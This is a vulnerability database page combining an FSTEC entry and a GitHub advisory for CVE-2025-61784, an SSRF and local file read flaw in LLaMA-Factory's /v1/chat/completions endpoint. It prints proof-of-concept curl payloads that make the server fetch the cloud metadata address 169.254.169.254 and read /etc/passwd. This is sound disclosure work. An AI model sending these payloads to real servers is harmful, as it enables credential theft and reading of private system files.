Vulnerability-Lookup

BDU:2025-13229

Vulnerability from fstec - Published: 07.10.2025

Title

Уязвимость функции _process_request() библиотеки для работы с большими языковыми моделями (LLM) LLaMA-Factory, позволяющая нарушителю обойти ограничения безопасности и осуществить SSRF-атаку

Description

Уязвимость функции _process_request() библиотеки для работы с большими языковыми моделями (LLM) LLaMA-Factory связана c подделкой запросов на стороне сервера при обработке конечной точки /v1/chat/completions endpoint. Эксплуатация уязвимости может позволить нарушителю, действующему удаленно, обойти ограничения безопасности и осуществить SSRF-атаку

Severity ?


                    
                      AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Vendor

Сообщество свободного программного обеспечения

Software Name

LLaMA-Factory

Software Version

до 0.9.3 включительно (LLaMA-Factory)

Possible Mitigations

Использование рекомендаций производителя: https://github.com/hiyouga/LLaMA-Factory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9

Reference

https://github.com/hiyouga/LLaMA-Factory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9 https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g

CWE

CWE-22, CWE-918

JSON

To clipboard

{
  "CVSS 2.0": "AV:N/AC:L/Au:S/C:C/I:P/A:P",
  "CVSS 3.0": "AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
  "CVSS 4.0": null,
  "remediation_\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": null,
  "remediation_\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435": null,
  "\u0412\u0435\u043d\u0434\u043e\u0440 \u041f\u041e": "\u0421\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
  "\u0412\u0435\u0440\u0441\u0438\u044f \u041f\u041e": "\u0434\u043e 0.9.3 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e (LLaMA-Factory)",
  "\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e": "\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/hiyouga/LLaMA-Factory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9",
  "\u0414\u0430\u0442\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f": "07.10.2025",
  "\u0414\u0430\u0442\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f": "22.10.2025",
  "\u0414\u0430\u0442\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438": "22.10.2025",
  "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": "BDU:2025-13229",
  "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "CVE-2025-61784, GHSA-527m-2xhr-j27g",
  "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430",
  "\u041a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0434\u0430",
  "\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u041f\u041e": "LLaMA-Factory",
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u041e\u0421 \u0438 \u0442\u0438\u043f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b": null,
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 _process_request() \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0431\u043e\u043b\u044c\u0448\u0438\u043c\u0438 \u044f\u0437\u044b\u043a\u043e\u0432\u044b\u043c\u0438 \u043c\u043e\u0434\u0435\u043b\u044f\u043c\u0438 (LLM) LLaMA-Factory, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u043e\u0431\u043e\u0439\u0442\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c SSRF-\u0430\u0442\u0430\u043a\u0443",
  "\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430": "\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "\u041d\u0435\u0432\u0435\u0440\u043d\u043e\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0438\u043c\u0435\u043d\u0438 \u043f\u0443\u0442\u0438 \u043a \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443 \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c (\u00ab\u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438\u00bb) (CWE-22), \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0444\u0430\u043b\u044c\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 (CWE-918)",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 _process_request() \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0431\u043e\u043b\u044c\u0448\u0438\u043c\u0438 \u044f\u0437\u044b\u043a\u043e\u0432\u044b\u043c\u0438 \u043c\u043e\u0434\u0435\u043b\u044f\u043c\u0438 (LLM) LLaMA-Factory \u0441\u0432\u044f\u0437\u0430\u043d\u0430 c \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 /v1/chat/completions endpoint. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043e\u0431\u043e\u0439\u0442\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c SSRF-\u0430\u0442\u0430\u043a\u0443",
  "\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": null,
  "\u041f\u0440\u043e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f": null,
  "\u0421\u0432\u044f\u0437\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438 \u0418\u0411": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
  "\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f": "\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438": "\u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u043f\u0440\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438, \u041c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c\u0438",
  "\u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438": "https://github.com/hiyouga/LLaMA-Factory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9\t\nhttps://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g",
  "\u0421\u0442\u0430\u0442\u0443\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c",
  "\u0422\u0438\u043f \u041f\u041e": "\u041f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u043e\u0435 \u041f\u041e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c",
  "\u0422\u0438\u043f \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "CWE-22, CWE-918",
  "\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 2.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 8)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 3.1 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,6)"
}

GHSA-527M-2XHR-J27G

Vulnerability from github – Published: 2025-10-07 22:08 – Updated: 2026-03-19 20:50

Summary

LLaMA Factory's Chat API Contains Critical SSRF and LFI Vulnerabilities

Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server's filesystem.

Details

The vulnerability exists in the _process_request function within src/llamafactory/api/chat.py. This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs.

The function checks if the provided URL is a base64 data URI or a local file path (os.path.isfile). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using requests.get(url, stream=True).raw without any validation or sanitization of the URL.

Vulnerable Code Snippets in _process_request:

# ...
        elif input_item.type == "image_url":
            # ...
            else:  # web uri
                image_stream = requests.get(image_url, stream=True).raw
# ...
        elif input_item.type == "video_url":
            # ...
            else:  # web uri
                video_stream = requests.get(video_url, stream=True).raw
# ...
        elif input_item.type == "audio_url":
            # ...
            else:  # web uri
                audio_stream = requests.get(audio_url, stream=True).raw
# ...

This vulnerable function is called by create_chat_completion_response and create_stream_chat_completion_response, which are in turn called by the public-facing /v1/chat/completions API endpoint in src/llamafactory/api/app.py. A user can craft a request to this endpoint containing a malicious URL in the messages payload to trigger the vulnerability.

PoC

To reproduce the vulnerability, send a POST request to the /v1/chat/completions endpoint with a JSON payload containing a URL that points to an internal or controlled external service.

Start the LLaMA Factory API server.

Use curl to send the malicious request. The following example uses a URL pointing to the AWS metadata service, a common SSRF attack vector.

SSRF Payload:

curl -X POST "http://127.0.0.1:8000/v1/chat/completions" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer your_api_key" \
-d '{
  "model": "your-model-name",
  "messages": [
    {
      "role": "user",
      "content": [
        {
          "type": "text",
          "text": "What is in this image?"
        },
        {
          "type": "image_url",
          "image_url": {
            "url": "http://169.254.169.254/latest/meta-data/"
          }
        }
      ]
    }
  ]
}'

LFI Payload:

curl -X POST "http://127.0.0.1:8000/v1/chat/completions" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer your_api_key" \
-d '{
  "model": "your-model-name",
  "messages": [
    {
      "role": "user",
      "content": [
        {
          "type": "text",
          "text": "What is in this image?"
        },
        {
          "type": "image_url",
          "image_url": {
            "url": "/etc/passwd"
          }
        }
      ]
    }
  ]
}'

The server will make a request to the specified URL or read the specified local file.

Impact

Vulnerability Type: Server-Side Request Forgery (SSRF) and Local File Inclusion (LFI).

Impacted Component: The API server, specifically the /v1/chat/completions endpoint.

Who is impacted: Any user who can send requests to the chat API. The vulnerability allows an attacker to bypass firewalls and access internal network resources, query cloud metadata services for credentials, or read sensitive files on the server. The severity is critical.

Credits

Wenhao Wu, ChengGao, Alibaba Cloud Intelligence Security Team

Severity ?

7.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "llamafactory"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-61784"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-07T22:08:53Z",
    "nvd_published_at": "2025-10-07T19:15:39Z",
    "severity": "HIGH"
  },
  "details": "## Summary ##\n\nA Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server\u0027s filesystem.\n\n## Details ##\nThe vulnerability exists in the _process_request function within src/llamafactory/api/chat.py. This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs.\n\nThe function checks if the provided URL is a base64 data URI or a local file path (os.path.isfile). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using requests.get(url, stream=True).raw without any validation or sanitization of the URL.\n\nVulnerable Code Snippets in _process_request:\n```\n# ...\n        elif input_item.type == \"image_url\":\n            # ...\n            else:  # web uri\n                image_stream = requests.get(image_url, stream=True).raw\n# ...\n        elif input_item.type == \"video_url\":\n            # ...\n            else:  # web uri\n                video_stream = requests.get(video_url, stream=True).raw\n# ...\n        elif input_item.type == \"audio_url\":\n            # ...\n            else:  # web uri\n                audio_stream = requests.get(audio_url, stream=True).raw\n# ...\n```\nThis vulnerable function is called by create_chat_completion_response and create_stream_chat_completion_response, which are in turn called by the public-facing /v1/chat/completions API endpoint in src/llamafactory/api/app.py. A user can craft a request to this endpoint containing a malicious URL in the messages payload to trigger the vulnerability.\n\n## PoC ##\nTo reproduce the vulnerability, send a POST request to the /v1/chat/completions endpoint with a JSON payload containing a URL that points to an internal or controlled external service.\n\nStart the LLaMA Factory API server.\n\nUse curl to send the malicious request. The following example uses a URL pointing to the AWS metadata service, a common SSRF attack vector.\n\nSSRF Payload:\n```\ncurl -X POST \"http://127.0.0.1:8000/v1/chat/completions\" \\\n-H \"Content-Type: application/json\" \\\n-H \"Authorization: Bearer your_api_key\" \\\n-d \u0027{\n  \"model\": \"your-model-name\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\n          \"type\": \"text\",\n          \"text\": \"What is in this image?\"\n        },\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"http://169.254.169.254/latest/meta-data/\"\n          }\n        }\n      ]\n    }\n  ]\n}\u0027\n```\nLFI Payload:\n```\ncurl -X POST \"http://127.0.0.1:8000/v1/chat/completions\" \\\n-H \"Content-Type: application/json\" \\\n-H \"Authorization: Bearer your_api_key\" \\\n-d \u0027{\n  \"model\": \"your-model-name\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\n          \"type\": \"text\",\n          \"text\": \"What is in this image?\"\n        },\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"/etc/passwd\"\n          }\n        }\n      ]\n    }\n  ]\n}\u0027\n```\nThe server will make a request to the specified URL or read the specified local file.\n\n## Impact ##\nVulnerability Type: Server-Side Request Forgery (SSRF) and Local File Inclusion (LFI).\n\nImpacted Component: The API server, specifically the /v1/chat/completions endpoint.\n\nWho is impacted: Any user who can send requests to the chat API. The vulnerability allows an attacker to bypass firewalls and access internal network resources, query cloud metadata services for credentials, or read sensitive files on the server. The severity is critical.\n\n## Credits\nWenhao Wu, ChengGao, Alibaba Cloud Intelligence Security Team",
  "id": "GHSA-527m-2xhr-j27g",
  "modified": "2026-03-19T20:50:59Z",
  "published": "2025-10-07T22:08:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hiyouga/LlamaFactory/security/advisories/GHSA-527m-2xhr-j27g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61784"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hiyouga/LLaMAFactory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hiyouga/LLaMA-Factory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LLaMA Factory\u0027s Chat API Contains Critical SSRF and LFI Vulnerabilities"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

BDU:2025-13229

GHSA-527M-2XHR-J27G

Summary

Details

PoC

Impact

Credits

Tags

Sightings

Nomenclature